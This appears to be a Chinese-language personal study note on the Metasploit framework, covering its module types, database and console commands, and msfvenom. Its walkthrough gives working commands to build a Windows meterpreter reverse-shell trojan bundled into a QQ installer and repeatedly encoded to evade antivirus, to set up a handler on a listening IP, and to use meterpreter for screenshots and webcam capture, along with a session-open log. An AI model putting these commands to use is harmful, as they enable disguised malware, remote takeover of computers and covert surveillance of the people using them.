--- notion-id: f49770df-1c15-4299-af68-eb833f0aadfd --- 参考文献[https://blog.csdn.net/RFZ_322/article/details/123367668](https://blog.csdn.net/RFZ_322/article/details/123367668) > [!note]+ # **MSF架构——技术功能模块** > MSF默认存放模块的目录如下 > `/usr/share/metasploit-framework/modules/` > MSF有6个模块,分别对上面目录下的6个子文件夹: > ### 一,**auxiliary** > 负责执行信息收集、扫描、嗅探、指纹识别、口令猜测和Dos攻击等功能的辅助模块 > ### 二,**exploits** > 利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动) > ### 三,**payloads** > 攻击载荷模块,攻击成功后促使靶机运行的一段植入代码。 > 成功exploit之后,真正在目标系统执行的代码或指令。分为3种类型的payload,分别是single、stages和stagers。shellcode是特殊的payload,用于拿shell。 > - single:all-in-one。完整的payload,这些payload都是一体化的,不需要依赖外部的库和包。 > - stagers:目标计算机内存有限时,先传输一个较小的payload用于建立连接 > - stages:利用stagers建立的连接下载后续payload > > ### 四,**encoders** > 对payload进行加密,躲避AntiVirus【防护软件】检查的模块,编码模块。 > ### 五,**nops** > 提高payload稳定性及维持大小。在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行的Shellcode之前添加一段空指令区, 这样当触发渗透攻击后跳转执行ShellCode时,有一个较大的安全着陆区,从而避免受到内存 地址随机化、返回地址计算偏差等原因造成的ShellCode执行失败,提高渗透攻击的可靠性。 > ### 六,**post** > 后期渗透模块。在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、跳板攻击等操作。 > [!note]+ # **msfdb指令** > 用来管理MSF的数据库的命令 > ```plain text > msfdb init # start and initialize the database > msfdb reinit # delete and reinitialize the database > msfdb delete # delete database and stop using it > msfdb start # start the database > msfdb stop # stop the database > msfdb status # check service status > msfdb run # start the database and run msfconsole > ``` > [!note]+ # MSF基础指令 > ```plain text > msfconsole #打开msf > help/? #帮助菜单 > exit #退出msf控制台 > Back #返回上一级 > info #显示一个或多个模块信息 > show #显示所给类型的模块 exp:show auxiliary、show payloads > background #将当前操作在后台运行 > use #使用所选择的模块 > set #设置选项 > unset #取消设置的选项 > info 模块名 #显示模块信息 > search 应用名 #exp:search reverse_tcp > search name #所要搜索的名称 type:属于msf中的哪个模块:exp:search name:ms17 type:auxiliary > host -c mac #msf主机管理 > ``` > [!note]+ # **msfvenom指令案例** > ```shell > msfvenom -l encoders #查看MSF编码方式 > > #生成木马捆绑在正常的安装包上并进行MSF编码使其具备免杀能力 > msfvenom -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.255.130 lport=4444 -e x86/shikata_ga_nai -x QQ9.5.9.28650.exe -i 12 -f exe -o /root/Desktop/csdn.exe > -e:指定编码方式对攻击载荷进行重新编码 > > -x:指定木马捆绑在哪个可执行程序模版上 > > -i:指定对目标进行编码的次数,多次编码理论上来讲有助于免杀生成的木马 > ``` > [!note]+ # 操作实例: > 首先输入msfconsole打开软件然后输入show payloads查看有哪些payloads可以用 > 然后找到windows/x64/meterpreter_reverse_tcp前面加use使用,然后show options查看用法 > 然后再打开一个终端查看IP > ```shell > ifconfig > ``` > > **输入指令生产木马文件** > ```shell > msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.55 lport=4444 -f exe -o /root/payload.exe > ``` > > 使用finalshell提取文件【注意杀毒软件】 > 使用*msfconsole*指令打开 > 启动handler模块作为主控端, > ```shell > msf6 > use exploit/multi/handler > ``` > 设置前面生成的被控制端程序,然后等待被控制端连接: > ```shell > msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp > payload => windows/meterpreter/reverse_tcp > msf5 exploit(multi/handler) > set lhost 192.168.43.120 > lhost => 192.168.43.120 > msf5 exploit(multi/handler) > set lport 5000 > lport => 5000 > msf5 exploit(multi/handler) > exploit > ``` > **在被控制端运行木马文件** > 控制端出现meterpreter > 代表控制成功 > ```shell > [*] Started reverse TCP handler on 192.168.2.55:4444 > [*] Sending stage (175686 bytes) to 192.168.2.203 > [*] Meterpreter session 1 opened (192.168.2.55:4444 -> 192.168.2.203:4200) at 2022-08-09 16:38:42 +0800 > > meterpreter > > ``` > meterpreter控制指令 > ```shell > 截图命令:screenshot > 摄像头列表命令:webcam_list > 摄像头启动命令:webcam_snap > ``` [FTP](FTP.md)